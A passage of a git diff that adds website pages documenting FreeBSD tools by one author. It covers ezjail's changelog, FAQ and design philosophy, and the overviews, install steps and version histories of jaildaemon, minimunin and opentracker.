jail(8) is now also documented in the ezjail's man pages. + * Using CVS to update ports was deprecated for a while. FreeBSD does not offer the anoncvs server, anymore. So ezjail_portscvsroot is gone. + * Added a -z option to ezjail-admin create to allow creating zfs jails in a different zpool or under a different zfs parent file system than the one ezjail uses for house keeping. Thanks to Cryx. + * Add the a man page authors section to the man pages. + * Also read and dump jail_JAIL_parameters when changing jail options. Thanks to Виталий Владимирович. + * ezjail-admin update and ezjail-admin upgrade now call freebsd-update install until no more update steps are necessary. Previously upgrades were not installed completely, as freebsd-update uses several passes. + * Now properly support the new distributions layout. + * Do not run chflags -R noschg when deleting image jails. The whole file system is being thrown away, anyway. Thanks to tomster. +* V3.2.3 ezjail-3.2.3.tar.bz2 (2012-09-23) + + * Fixed a bug that made ezjail-admin update not find the source tree. Thanks to Paul Macdonald. + * Fixed ezjail-admin console to not start all jails when the -f option is requested. +* V3.2.2 ezjail-3.2.2.tar.bz2 (2012-09-10) + + * Jails can now default to being created in zfs, set ezjail_use_zfs_for_jails="YES" in your ezjail.conf to do that. + * Cleaned up the zfs code to ensure the ezjail zfs in a central place. +* V3.2.1 ezjail-3.2.1.tar.bz2 (2012-02-02) + + * Fixed ezjail-admin list to work properly without jails. + * A helper script ezjail-clone.sh has been added to the repository that aids in importing whole server setups into an ezjail-system. + * ezjail-admin update now ensures that all files with schg set are also updated. Thanks to Geoffroy Desvernay. + * Fixed the way ezjail-admin create tests for local IP addresses. The old test using ping with a given TTL did not work reliable. Now we use ping and try to use the IP address as source address. + * Fixed a bug where pids not belonging to a Jail were reported as jailed. Thanks to Thomas Steen Rasmussen. + * Fixed a bug in ezjail-admin delete -f where all Jails were stopped, not only the one to be deleted. Tanks to Thomas Steen Rasmussen. + * Fixed a bug in ezjail-admin create that overwrote all flavours scripts with the successor by not counting the flavours correctly. Thanks to Geoffroy Desvernay. +* V3.2 ezjail-3.2.tar.bz2 (2012-01-07) + + * The man pages have been completely rewritten and are much easier to understand now. + * Default archive location now is ezjail_archives under ezjail_jaildir. Before it defaulted to the current directory. + * ezjail-admin install now understands FreeBSD's new naming scheme on the release ftp servers. + * /usr/games/ has gone. + * ezjail-admin delete now takes an -f parameter that forces stopping the Jail before deleting it + * The rc.d/ezjail.sh script has been renamed to rc.d/ezjail in accordance to FreeBSD guide lines. + * When using ezjail-admin to start Jails, checks now are properly extended to all versions of the (one|force|...) prefixes. + * When installing the basejail from a server, we now also look in the ftp server's Archive directory. + * The check for already listening services has been augmented to support multiple IPs and v6 addresses. + * Before removing Jails the system immutable flag is now cleared. + * ezjail-admin now collects its Jail list more to the standard. + * Unknow Jail image types now default to directory based. + * Experimental freebsd-upgrade support. + * Fix one misspelling that wrongly reported success for attaching a console to a Jail not running. + * The ezjail rc script now correctly also re-attaches images on restart. + * There now is a Jail name auto completion script for zsh. +* V3.1 ezjail-3.1.tar.bz2 (2010-02-26) + + * Introduced support for creating ezjails and the basejail in ZFS file systems. + * Attaching ZFS-datasets to ezjails is now supported. + * Support for cpusets and altered network view for ezjails. + * The ezjail-admin archive command now uses the cpio format for its archives. + * Since FreeBSD 8 does not support rc.d-scripts ending in .sh, the flavourizing script has been renamed accordingly. + * The ezjail-admin list command now supports multiple IP addresses for a jail. + * The ezjail-admin command now returns 0 if no error occurs. + * You can now specify a default flavour in your ezjail.conf that is applied to any new Jail. + * Renamed the default flavour to example to avoid confusion. default flavour was never applied by default. + * ezjail-admin create and ezjail-admin config no longer fail if they can't create a soft link in ezjail_jaildir. They now use mktemp to get a unique one. + * ezjail-admin create now allow multiple flavours to be applied to new jails. They are executed in the order provided with the -f option. +* V3.0 ezjail-3.0.tar.bz2 (2008-09-26) + + * Introduced an ezjail-admin restore command that can be used to easily deploy a backed up version of an ezjail's archive. + * Introduced an ezjail-admin archive command that – accompanied by the newly introduced create -a option – can be used to take (automated) backups of your jails and reinstall them. + * Introduced the ezjail-admin console sub command. This will jexec into a Jail identified by its Jail name. It can also bring up non-running jails if run with the -f switch. + * ezjail-admin update does not (re)build the whole world by default, anymore. You have to provide -b (buildworld, installworld), -i (installworld only) or (as a new option) -u to use freebsd-update to update your base jail. + * ezjail-admin now silently proxies everthing that looks like it was meant for ezjail.sh over to ezjail.sh. + * ezjail-admin now reports its version number along with synopsis information. + * ezjail.sh now stops ezjails in reverse startup order. + * ezjail.sh now reports ezjails configured norun as "skipping [jailname]" and blocking as "skipping blocking [jailname]". + * ezjail-admin now find .s its stuff. Using '*' never found dot-files and could have led to a "too many parameters" situation. + * Fixed a bug where image jails would not be run with ezjail.sh restart when not running or would not have their images attached when already running. Thanks to hukl for bug report. + * Fixed the missing lib32 packag on amd64 platforms when doing ezjail-admin install. + * sudo now checks permissions on its sudoers file and stops, if it is not 0440. Fixed ezjails Makefile to install sudoers to default flavour. (However, if you already installed ezjail, you might want to manually chmod 0440 ${ezjail_flavours}/default/usr/local/etc/sudoers and all corresponding sudoers files in all jails.) + * Fixed a bug, where an image Jail was incorrectly reported not attached. + +.. class:: closed + +* V2.1. ezjail-2.1.tar.bz2 (2007-07-31) + + * Introduced a ezjail-admin config -n newname sub command to enable renaming jails. + * Introduced a ezjail-admin config -i fsck sub command to fsck images. + * Use the sendmail_submit_enable, sendmail_outbound_enable and sendmail_msp_queue_enable in the default-flavour rc.conf to allow easier fine-grained control for sendmail. + * ezjail-admin create now ignores .dot-files in directories meant to be Jail roots. That way directories coming fresh from newfs won't be mistaken as used. + * Fixed a bug where portsnap would be called with fetch rather than cron from my ezjail-admin update -P. + * Enable soft updates for image jails. + * Now taking copies of soft linked packages inside jails. They would not be visible. + * Fail, when trying to install or update ezjails world, if in a secure level > 0. Too many bad things happen in secure levels. + * ezjail.sh now also checks for root directory to prevent strange effects in /etc/rc.d/jail. + * Default flavours /etc/periodic.conf now makes all periodic scripts log to files instead of sending mails. Most often this is what you want in your jails. + * Started learning groff and went over man pages. Not many visible changes here. +* V2.0.1 ezjail-2.0.1.tar.bz2 (2006-07-24) + + * DESTDIR was ignored for sub targets in an ezjail-admin update -p under certain circumstances. See this report for more details. Thanks go to Simon L. Nielsen. + * Fixed some qoutation/expansion issues with tr parameters in the form [:alnum:] which were expanded to the files : a l n u and m, if existing. Also an apparent bug in tr was circumvented which incorrectly replaced A-Z to a-z in certain LANG settings. Thanks agains to Simon L. Nielsen. + * ezjail_ftphost was ignored when specified in PREFIX/etc/ezjail.conf. Thanks to Edwin Groothuis. +* V2.0 ezjail-2.0.tar.bz2 (2006-05-31) + + * The default way to create the basejail will become the newly introduced ezjail-admin install subcommand. In its default configuration the base system is fetched from an ftp-Server. Fetching ports, source, man pages is possible with -p, -s and -m switch. Implementing this feature finally brings the promised ease of use and allows: cd /usr/ports/sysutils/ezjail; make install; ezjail-admin install; ezjail-admin create test.com 10.1.1.1 on a vanilla FreeBSD server, i.e. without installing /usr/src. + * A new concept of how to manage your Jails has been introduced: Image Jails. They come in plain, gbde and geli encrypted. ezjail-admin create, ezjail-admin delete and ezjail.sh have been updated to provide the functionality needed. + * ezjail.sh now provides more information to rcorder which took control over the execution of new style localpkg scripts. These changes in FreeBSD rc scripts led to ezjail.sh not being started under certain circumstances. It will REQUIRE: sshd, making administration on a server running many jails a lot more peaceful. Thanks to Oli. + * When called without specific Jail names (e.g. at system start), ezjail.sh now runs rcorder on its config file list located in PREFIX/etc/ezjail/ before processing them. That way you can manually construct a dependency tree and for example start your name server Jail first and your data base-Jail before your web server Jail. However, some basic knowledge in bourne shell and the rcorder command is required. Beware of circles. + * ezjail-admin create now installs flavours with an unconditional flag. Previously files were not copied, if an "older" version existed. Thanks to Matthias Lederhofer. + * ezjail-admin list has been heavily extended. It now lists Jails in the same order they are being run on system startup. This is to help debugging the dependency tree. It further now also lists jails status (Directory based, Image, BDE crypto image or ELI crypto image) and running state (Running, Attached, Stopped or Norun). Thanks to Bas Dakkenhorst for useful diffs. + * ezjail-admin create now prepends all Jail configs with empty rcorder control statements to make altering the config easier. + * ezjail.sh now excludes Jail configs whose file name contain '.' (dots). This way it is possible to configure a Jail config test_org.norun to temporary exclude it from auto run process. + * ezjail introduces an option ezjail_uglyperlhack (defaults to YES) which creates a soft link from /usr/bin/perl to /usr/local/bin/perl in the base jail. This is useful since perl was expelled from base system in FreeBSD 5 but still many scripts rely on #!/usr/bin/perl. + * /usr/games and /usr/libdata have now become part of the basejail. Someone please kick me for missing that until now. Saves another 100k in newjail. Hopefully I got them all by now ;) Thanks to Vivek Khera. +* V1.3.1 ezjail-1.3.1.tar.bz2 (2006-03-13) + + * ezjail.sh did not ignore the jail_list from rc.conf as it should due to a legacy name space clash. This led to no ezjail being started at system startup when some non-ezjail-Jails exist in the system. Thanks to Cryx. + * ezjail-admin now prevents a Jail called fulljail to be created and refines the error message in case the user wants to create basejail, newjail or flavours. + * ezjail-admin now again allows recreating Jails with the -x option. This was broken when introducing the Jail root check in V 1.3. Thanks to Mike Harding. + * An experimental script ezjail-release.sh has been added to CVS which allows creating the basejail from FreeBSD ftp-Server. However, this script has known issues, like updating existing basejail's ports does not remove obsolete files, also there is no documentation. +* V1.3 ezjail-1.3.tar.bz2 (2006-02-16) + + * Removed an ugly shell variable quoting bug that led to ezjail.sh fail for multiple jails. Thanks to Alex Moura. PLEASE UPDATE FROM 1.2 as fast as possible. + * ezjail-admin create now checks, whether a given Jail root already exists and refuses to install. Thanks to Mark Bucciarelli for finding this one. + * /boot and /rescue have now become part of the basejail. Someone please kick me for missing that until now. New jails now are < 2 MB in size. +* V1.2 ezjail-1.2.tar.bz2 (2006-02-10) + + * A subsystem providing auto configuration on Jail has been created. You may specify flavours at Jail creation. See section Flavours. + * ezjail-admin update now allows cvs co or cvs up of ports in the basejail by providing the -p or -P option. + * /lib and /libexec have now become part of the basejail. Someone please kick me for missing that until now. + * ezjail-admin now allows setup as an alias command to update to reduce confusion. + * ezjail-admin delete now ensures, that the Jail is not running. Deleting running Jails led to panics in several occasions. + * ezjail-admin update now performs several checks to make sure the source tree is really there and complete. + * ezjail-admin create now tests for services listening on the new Jails IP or on all IPs and warns if it finds any. + * ezjail-admin create now replaces any character in Jail name not suitable for shell variables by underscore. This leads to the situation that two jails must not have identical names after them being piped through tr -c [:alnum:] _, thanks go to Gunjin. + * A default installation PREFIX is provided now. Installing to / seems not too useful and should not be default. + * Documentation has been rewritten and simplified a lot. +* V1.1 ezjail-1.1.tar.bz2 (2005-10-26) + + * minor typo in ezjail.sh, changed #/bin/sh to #!/bin/sh, thanks go to Alex Samorukov. + * Makefile ensures that all directories are there when installing. Helps with odd $PREFIXes + * ezjail-admin now creates $basejail/usr itself, since cpio creates missing intermediate directories in 0700 which is bad + * ezjail-admin now verifies the existence of its basejail before creating Jails +* V1.0 ezjail-1.0.tar.bz2 (2005-10-14) + + * first release + * made FreeBSD port for ezjail + * actually implemented ezjail-admin delete feature + * documentation completed + * lots of bug fixes I can't remember anymore, however V0.1 has never been used by anyone but me +* V0.1 ezjail-0.1.tar.bz2 (2005-09-26) + + * highly experimental version + * first real world testing on a server system with >20 jails +* V0.0 - Not packaged (2005-09-04) + + * first alpha version + +FAQ +=== + +Q: I have created a Jail but it won't come up when I run /usr/local/etc/rc.d/ezjail start JAILNAME + A: Please check, that the Jail is really "not comming up" by examining the output of the command jls. Unlike the command jail which leaves you with an interactive shell in your Jail, rc.d/ezjail is an rc-script. It is most commonly meant to run at system startup and shutdown where entering an interactive shell would interrupt the boot process. If you want an interactive shell in your Jail after starting it, use the command ezjail-admin console JAILNAME. + + A: Please check, that you have enabled ezjail by adding the line ezjail_enable="YES" to rc.conf. + + A: Please check, that you have enabled ezjail BEFORE you ran the rc.d/ezjail script the first time. See the rc.d introduction for further details. + + A: If this is the case, check the console output in /var/log/jail_JAILNAME_console.log. Most commonly you'll find reasons for your jails startup failure there. + +Q: Why does ezjail want an extra copy of ports tree for its base jail? Isn't that just waste of disc space? Can't we just use the base systems ports tree? + A: Counter question: why do we need an extra copy of the base system? Isn't that just waste of disc space? Can't we just mount / as basejail to all jails? + + ezjail philosophy very much is influenced by its history: it was created to simplify administration of a shell server with many actual users. Even if you would trust all your users, you may not trust all software they do install and hence not anything done in any Jail. So I decided to strictly seperate what you can access within Jails from everything the host system needs to operate. This boundary is ezjail_root. + + For the ports case I would not like everyone to know which port is installed in host system, as might be guessed by work/-directories, this might reveal attack vectors to the host system. A problem like ignoring ro flags when mounting from fstab may give you an idea why I consider that boundary essential to system security. + + If you know what you're doing and are sure, your host system has an WRKDIRPREFIX none of the Jails can access, you might follow these instructions to mount ports via nullfs. Another way of doing this is to mv /usr/ports/ /usr/jails/basejail/usr/ports/; ln -s /usr/jails/basejail/usr/ports /usr/ports; in host system. ezjail will not offer this as an option. + +Q: What exactly is the difference between the template Jail and a Flavour? + A: In simple words: THE template is all directories that FreeBSD thinks your system needs besides the sharable files in your basejail, like /etc/ and /var/. It is being recreated everytime you ezjail-admin update. So it is not meant to be modified by the user to distribute settings to all Jails to be created. A Flavour on the other hand is set up by the user, contains all non-sharable files not in the base system that you think belongs to a newly created Jail (usually stuff in /usr/local/ and your settings in /etc/). You may have several Flavours each customized for a certain job: an httpd-Flavour, a shell-server only Flavour, a full featured bamp-server and so on. Flavours are never modified by ezjail, the template should not be modified by the user. + +Q: I am running version x of ezjail and want to upgrade to version y. Is there a safe upgrade path without losing all of my Jails? + A: ezjail is basically just two scripts. The config files have been designed to be future compatible. So installing any version from ports, cvs or tar ball by ezjails Makefile will do the job of upgrading. Your Jails are safe. + +Q: I have created some jails prior to using ezjail. How can I import them as ezjails? + A: There now is an import helper script in the ezjail tar bundle that assist you with moving complete systems into ezjails by turning them into ezjail-admin restore-able ezjail archives. + + A: Assume your Jail is under /legacyjail Basically you only need to create an empty directory /legacyjail/basejail/ and call ezjail-admin create -x -r /legacyjail JAILNAME JAILIP and your Jail enjoys all of ezjails starting/stopping capabilities.. + + To make the Jail a complete ezjail, e.g. use the basejail/, use the following code snippet after stopping the Jail. (Replace /legacyjail with the path to your Jail). + + .. code-block:: sh + + cd /legacyjail + mkdir OLDBASE + for dir in bin boot lib libexec rescue sbin usr/bin usr/include usr/lib usr/libexec usr/ports usr/sbin usr/src usr/share; do + mv ${dir} OLDBASE/; ln -s /basejail/${dir} ${dir} + done + + There is a chance that your binaries require some of the libraries in its old base system. If they don't, you can remove OLDBASE, if they do, use the following snippet to create the old libs. + +Q: The clock inside my Jails always shows the wrong time. Why is that? + A: Create a soft link from /etc/localtime to the appropriate time zone file, in my case: /usr/share/zoneinfo/Europe/Berlin. + +Q: I messed up the whole show and ezjails files are around EVERYWHERE. Some of them wont even go away, if I rm -rf them as root. How do I get a clean start? + A: On a standard FreeBSD installation several files are being installed with the "system immutable" flag set. Type man chflags for more details. However, to reset everything to a state with no jails and no files lurking around use the following lines, on kern secure level 0, as root, on a standard ``ezjail.conf`` + + .. code-block:: sh + + chflags -R noschg /usr/jails/ + rm -rf /usr/jails/ + rm -rf /usr/local/etc/ezjail/ + rm /etc/fstab.* + + If you configured ezjail to use zfs, you can just throw away ezjail's parent zfs, as configured in ezjail_jailzfs. + +Q: Your HTML sucks. + A: This is not a question. But yeah, I know. + +---- + +Author/Contact +============== + +ezjail was written by Dirk Engling with lot of support from the ezjail community. We like to hear from happy customers. My personal address is erdgeist@erdgeist.org. Requests should go to the project mailing list ezjail@erdgeist.org. You can subscribe to that list at ezjail-subscribe@erdgeist.org. There is an IRC channel #ezjail on ircnet. Please send bug reports, comments and feature requests. Donations are welcome… in form of beer. See… + +---- + +License +======= + +ezjail is considered `beer ware </beerware.html>`_. + +---- + +Thanks +====== + +Here I need to re-add a modernized list of thanks. diff --git a/stories/projects/ezjail_philosophy.rst b/stories/projects/ezjail_philosophy.rst new file mode 100644 index 0000000..52e2f7f --- /dev/null +++ b/stories/projects/ezjail_philosophy.rst @@ -0,0 +1,50 @@ +.. link: +.. description: the philosophy behind the ezjail framework +.. tags: +.. date: 2015/02/01 19:10:08 +.. title: ezjail - philosophy +.. slug: ../arts/software/ezjail/philosophy + +.. contents:: + :depth: 1 + :class: ezjail-toc + +---- + +Overview +======== + +Computer programs tend to contain programming errors. Chances to avoid them in every program that provides services to the internet are low. What is needed is a way of limiting the impact of programming errors to the system hosting the service. + +Computers become faster and their resources in terms of memory, mass storage and internet connectivity can suite several users at once. This led to the development of time sharing computing, most popular in Unix. The next level of abstraction is virtual servers enabling every owner of such an entity to create users and use the power of multitasking as well, without even noticing that the machine is not completely under his control. + +Some server software expects its configuration to be always in the same location in file system and makes changing this location difficult to impossible. Some server software requires certain privileges you would not want to grant it, even if you would assume it being error-free. Some users want certain privileges you would not want to grant them, even if you would assume they know what they are doing. What is needed is a way of limiting the impact of permissions you have to grant. + +Historical approaches +===================== + +Several approaches to achieve most of the above have been made. It has shown that the most secure way to do so is to physically separate services to different machines. Of course, this has its costs, is a lot more complex since you have to reproduce and administrate the setup over and over. And, of course, it contradicts the idea of using the grown performance as shown in the second paragraph. Luckily most of the problems were solvable, solutions being condensed in the ezjail script set. + +FreeBSD has introduced the concept of jails to eliminate shortcomings seen in so called chroot-environments. chroot changes the file system root for certain programs, leaving them without any means of even expressing the need for access to resources outside their constricted world. Jails take this approach a little further, they represent virtual computers (virtual server), each bound to a single internet address having its file system root somewhere under the real computers (hosting server) file system root. Certain rulesets forbid jailed programs access to specific devices, for example hard drives or kernel memory. + +In theory this concept enables you to lock in each (server-)program you run on your computer to its own virtual world limiting the impact it may (deliberately or by mistake) have on other services. In practice each program depends on a set of libraries, tools, configuration directories, system users, other installed software and so on. In short: most servers need at least a small subset of the host servers operating system (OS). Complete virtual servers, of course, need a whole copy of the host servers OS. + +Problems in historical approaches +================================= + +Locking in a single program that way may work out fine, as it "only" doubles the size your operating system needs on hard disc, and hard disc space is becoming cheaper as I write, the FreeBSD OS only needs around 100MB. However, copying all the data does not scale well when you need hundreds of programs being jailed or want to provide dozens of virtual computers. Further, distributing OS software updates to all this instances, which possibly even were created from different versions of the OS source code, becomes an administration nightmare. + +Although hard disc space is becoming less of an issue, OSs tend to assume the space rather being occupied by few large files then many small files. So they reserve a limited number of control structures for storing files and directories, called "inodes". Now, copying the whole OS many times consumes many of those valuable inodes on disc, eventually preventing the creation of new virtual servers. Worse: since each library, each executable and each configuration file of the OS exists as several copies, the OS has no way of telling that they're the same and thus has to load each copy to memory, if any of the virtual servers or jailed programs need them. + +To complete the picture of the situation I was confronted with when starting the ezjail project: the way to install a copy of the OS to create a virtual server involved (and still involves) installing a copy of the OS source code and invoking several commands to compile, install and configure it. This still left the administrator with the need to start the virtual server by hand and entering a lot of complicated configuration statements to the OSs startup scripts in order to have them run automatically when the server starts up. Jailing programs or virtual servers was rather complicated, achieving any of the goals set at the beginning of this text far away. + +Developing a solution +===================== + +It was very helpful that Unix' file system hierarchy reflects historic optimizations. The `Filesystem Hierarchy Standard <http://www.pathname.com/fhs/>`_ defines a set of "sharable files", mostly OS binaries, libraries, header files and resources. Those directories are meant to be shared by several computers (via Net-boot, eventually read only from CD-ROM). "unsharable files" on the other hand, contain configuration data, dynamic data like user mails, installed applications etc. While the former directories only need to exist once for all jails and can be provided in a read only fashion, the latter must be provided for each jail and, of course, be writable. + +And here a path to the solution shows: most modern OSs know a way of "local mount"/"loopback mount"/"null mount" directories back into the directory hierarchy. That way it is possible to provide all sharable files in a read only fashion to the chroot environment of jailed programs. All unique data a virtual server need is in the "unshared files" which must be copied for each of them. Fortunately, these files are just 2MB in size on the FreeBSD OS. How the sharable files are being provided is subject to implementation. The ezjail project mounts one directory containing all those shareable files and provides soft links from all directories not in the unshared files part of the OS. + +Besides having a central point for OS updating all instances at once, this approach can prevent standard root kits to install, since most of the binaries they usually replace are in the unshared files, yet, when someone really wants to install their own version of the OS binaries, one can do so by just removing the soft links and provide self compiled system binaries. System administrators know exactly, which OS version problems in virtual servers are related to, since all virtual servers have the same base system. + +Everything left to do is to provide a neat interface, do some sanity checks, wrap it properly around the existing scripts of your OS and find a nice name. In my case: `ezjail <ezjail.html>`_. diff --git a/stories/projects/jaildaemon.rst b/stories/projects/jaildaemon.rst new file mode 100644 index 0000000..cc818e3 --- /dev/null +++ b/stories/projects/jaildaemon.rst @@ -0,0 +1,77 @@ +.. description: is a tool for the FreeBSD operating system to allow flexible and secure communication from jail environments to the host system. +.. tags: project +.. date: 2015/02/18 19:10:08 +.. title: jaildaemon +.. subtitle: A fixed command-line interface for FreeBSD jails to their host system +.. slug: ../arts/software/jaildaemon/index +.. prio: 850 + +.. contents:: + :depth: 1 + :class: ezjail-toc + +---- + +Overview +======== + +.. image:: http://www.freebsd.org/gifs/daemon_hammer-tn25.jpg + :align: right + +Virtual FreeBSD jail based server environments can not easily trigger actions in the host system, most prominently restarting themselves (if they ``kill -1`` everything, they usually stay shut down) and trigger actions like routing table updates, triggering zfs snapshots or rollbacks and configuring ``tun/tap``-Devices (as an openvpnd would). + +There are several less-than-optimal solutions for that problem: granting forced-command ssh access to jails, polling some Jail-state from within the host system or dig some proprietary socket holes through the Jail's barrier, exposing a root-shell attack vector to the outside world. + +*jaildaemon* aims to solve the problem in a simple and straight forward way while trying to minimize the attack surface for adversaries from the Jail and the network. It is a tiny daemon running in the host system that forks a probe process with a single associated command on demand, attaches it to a single jail and (optionally) assigns it a verbose proctitle. When the Jail's root user sends a SIGHUP to this probe process, it dies with a magic exit code, signalling the daemon to execute the associated command (in host context). You can chose to have the daemon restart the probe process after the command is executed (e.g. when it triggers updating routing tables) or just wait for it to be restarted by the Jail management tool (e.g. when using ``/usr/local/etc/rc.d/ezjail restart shell.foo.com`` as a reboot helper). + +---- + +Code +==== + +You can always get the latest version of *jaildaemon*, use ``git clone git://erdgeist.org/jaildaemon`` or the legacy view ``cvs -d :pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot co jaildaemon`` with an empty password to check it out. There is a *jaildaemon* tarball, but no versioning yet. You can scroll through the source at `jaildaemon gitweb </gitweb/jaildaemon>`_ or `jaildaemon cvsweb (deprecated) </cvsweb/jaildaemon>`_. Typing ``make install`` installs the binary in your ``${PREFIX}/bin`` (or ``/usr/local``, if none is set) and the rc-script to ``${PREFIX}/etc/rc.d/``. + +A tight integration with `ezjail </arts/software/ezjail/>`_ is, of course, following soon. + +---- + +Examples +======== + +Start the daemon as root with ``jaildaemon -D``, with optional parameters ``p`` and ``f`` to request the pidfile being written or to specify a different controlling command unix domain socket location (that is used by *jaildaemon* when run in client mode to communicate with the server, and defaults to ``/var/run/jaildaemon.pipe``), respectively. + +If you installed the package, you can just enable *jaildaemon* in your ``/etc/rc.conf``, by adding ``jaildaemon_enable=YES``. It should then start at reboot, or when you run ``/usr/local/etc/rc.d/jaildaemon start``. + +Start a new probe process in a Jail (in this example jid 23) to trigger the execution of the script:: + + /usr/local/bin/parse_route_config -s /usr/jails/shell.foo.com/ + +while identifying as 'route config update' in the jail and respawn:: + + jaildaemon -j 23 -c '/usr/local/bin/parse_route_config -s /usr/jails/shell.foo.com/' -t 'route config update' -r + +From within the jail (``ezjail-admin console shell.foo.com``) trigger the command by ``pkill -HUP -f 'route config update'``. + +Start a (non-spawning) Jail reboot trigger:: + + jaildaemon -j 23 -c '/usr/local/etc/rc.d/ezjail restart shell.foo.com' -t REBOOT + +Now, from within that Jail, reboot via ``pkill -HUP -f REBOOT``. + +---- + +Version history +=============== + +* Version 0.2: + + * Fixed a bug where *jaildaemon* when run from /etc/rc would ignore SIGHUP by default. + * You can now make the probe drop into another uid, so that non-root-processes can trigger actions, as well. + * Allow *jaildaemon* to accept the jailname for the -j parameter, as well. + +---- + +License +======= + +*jaildaemon* was written by `Dirk Engling <mailto:erdgeist@erdgeist.org>`_ with lots of help from sg and is considered `beer ware </beerware.html>`_. diff --git a/stories/projects/minimunin.rst b/stories/projects/minimunin.rst new file mode 100644 index 0000000..170c30a --- /dev/null +++ b/stories/projects/minimunin.rst @@ -0,0 +1,75 @@ +.. link: +.. description: is a tiny munin-node implementation for FreeBSD written in pure bourne shell providing basic plugin support. +.. tags: project +.. date: 2015/02/01 19:10:08 +.. title: minimunin +.. subtitle: A tiny munin-node implementation for FreeBSD written in pure bourne shell providing basic plugin support +.. slug: ../arts/software/minimunin/index +.. prio: 800 + +.. contents:: + :depth: 1 + :class: ezjail-toc + +---- + +Overview +======== + +.. image:: http://www.freebsd.org/gifs/daemon_hammer-tn25.jpg + :align: right + +`munin <http://munin-monitoring.org/>`_ is an open source multi platform service monitoring framework, written in perl. Munin nodes report server statistics to their respective masters. Unfortunally, the munin-node script is written in perl, too – even though the language features never actually are used. On a FreeBSD system this introduces unnecessary dependencies. *minimunin* tries to address this: It was implemented as a simple shell script triggered from inetd.conf and comes with some handy built in monitoring commands. Most of the munin plugins should also work. + +---- + +Code +==== + +You can always get the latest version of *minimunin*, use ``git clone git://erdgeist.org/minimunin` or the legacy view ``cvs -d :pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot co minimunin`` with an empty password to check it out. There is a `minimunin tarball <minimunin-0.2.tar.bz2>`_. You can scroll through the source at `minimunin gitweb </gitweb/minimunin>` or `minimunin cvsweb (deprecated) </cvsweb/minimunin>`_. Typing ``make install`` installs the binary in your ``${PREFIX}/bin`` (or ``/usr/local``, if none is set). + +---- + +Installation +============ + +After getting *minimunin* either from source or by installing the FreeBSD port/package, you need to activate *minimunin*. Just add the line:: + + munin stream tcp nowait nobody /usr/libexec/tcpd /usr/local/bin/minimunin + +to your ``/etc/inetd.conf``. Alternatively, if you plan to run plugins that require root permissions (e.g. for changing to a different user via the plugin config), add:: + + munin stream tcp nowait root /usr/libexec/tcpd /usr/local/bin/minimunin`` to your ``/etc/inetd.conf + +In both cases you need to enable inetd by setting ``inetd_enable="YES"`` in your ``/etc/rc.conf`` and restart inetd with the ``service inetd start`` command. You may also want to restrict access to your munin node via the ``/etc/hosts.allow`` and ``/etc/hosts.deny`` configuration files. + +---- + +Plugins +======= + +Munin has been designed to allow administrators to `write their own plugins <http://munin-monitoring.org/wiki/HowToWritePlugins>`_ to provide statistics not covered by the base installation. You can find `many munin plugins here <http://munin-monitoring.org/browser/munin-contrib/plugins>`_. *minimunin* can execute those plugins, as well. It expects plugin files in the folder /usr/local/etc/minimunin-plugins and will ignore `wild card plugins <http://munin-monitoring.org/wiki/WildcardPlugins>`_. In order to use them (after reading the documentation on the project website ;) create the appropriate soft link, e.g. ``ln -s if_ /usr/local/etc/minimunin-plugins/if_bge0``. Please note that the plugins must be executable and you may need to install further dependencies for plugins, such as perl, python or monitoring helpers. + +munin plugins `can be configured with ini-file style config files <http://munin-monitoring.org/wiki/plugin-conf.d>`_. *minimunin* expects config to reside under ``/usr/local/etc/minimunin-configs``, either as a single config file or a directory containing respective configs. Currently *minimunin* only supports the config parameters ``env.``-variables, ``user`` and ``command``. The ``group`` and ``timeout`` config parameters are not supported. The ``user`` parameter only works if *minimunin* finds itself being root and otherwise silently ignores the ``user`` parameter. + +---- + +Version history +=============== + +* V0.2 `minimunin-0.2.tar.bz2 <minimunin-0.2.tar.bz2>`_ (2014-13-02) + + * Fixed a bug where uptime was not reported correctly. Thanks to Lothar Schmidt. + * Fixed a bug where only the last environment setting of a plugin config was obeyed. Thanks to Philipp Wünsche. +* V0.1 `minimunin-0.1.tar.bz2 <minimunin-0.1.tar.bz2>`_ (2013-09-29) + + * First version, no diffs to previous ones ;) + +---- + +License +======= + +*minimunin* was written by `Dirk Engling <mailto:erdgeist@erdgeist.org>`_ and is considered `beer ware </beerware.html>`_. + +Please do not even think about hesitating to contact me via email or `@erdgeist <http://twitter.com/erdgeist>`_ on twitter. diff --git a/stories/projects/opentracker.rst b/stories/projects/opentracker.rst new file mode 100644 index 0000000..294d2c9 --- /dev/null +++ b/stories/projects/opentracker.rst @@ -0,0 +1,136 @@ +.. link: +.. description: is a highly scalable tracker software for the bittorrent protocol, currently in use on the largest bulk trackers around. +.. tags: project +.. date: 2015/02/19 19:10:08 +.. title: opentracker +.. subtitle: An open and free bittorrent tracker +.. slug: ../arts/software/opentracker/index +.. prio: 1000 + +.. contents:: + :depth: 1 + :class: ezjail-toc + +---- + +.. image:: opentracker_beta3.png + :align: left + :width: 200px + +Overview +======== + +*opentracker* is a open and free `bittorrent tracker <http://wiki.theory.org/BitTorrentSpecification>`_ project. It aims for minimal resource usage and is intended to run at your wlan router. Currently it is deployed as an open and free tracker instance. Read our `free and open tracker blog <http://opentracker.blog.h3q.com/>`_ and announce your torrents there (but do not hesitate to setup your own free trackers!). + +---- + +Version History +=============== + +*opentracker* is currently only available from CVS. A tar ball will be rolled soon. Use ``git clone git://erdgeist.org/opentracker`` or the legacy view ``cvs -d :pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot co opentracker`` with an empty passwort to check it out. An `*opentracker* gitweb </gitweb/opentracker/>`_ and an `*opentracker* cvsweb (deprecated) </cvsweb/opentracker/>`_ are available. + +---- + +Build instructions +================== + +Until *opentracker* is declared official release ready, the way to install it is:: + + cvs -d :pserver:cvs@cvs.fefe.de:/cvs -z9 co libowfat + cd libowfat + make + cd .. + # LEGACY: cvs -d:pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot co opentracker + git clone git://erdgeist.org/opentracker + cd opentracker + make + +That should leave you with an exectuable called ``opentracker`` and one debug version ``opentracker.debug``. + +Some variables in *opentracker*'s Makefile control features and behaviour of *opentracker*. Here they are: + +* ``-DWANT_V6`` makes *opentracker* an IPv6-only tracker. More in the v6-section below. +* *opentracker* can deliver gzip compressed full scrapes. Enable this with ``-DWANT_COMPRESSION_GZIP`` option. +* Normally *opentracker* tracks any torrent announced to it. You can change that behaviour by enabling ONE of ``-DWANT_ACCESSLIST_BLACK`` or ``-DWANT_ACCESSLIST_WHITE``. Note, that you have to provide a whitelist file in order to make *opentracker* do anything in the latter case. More in the closed 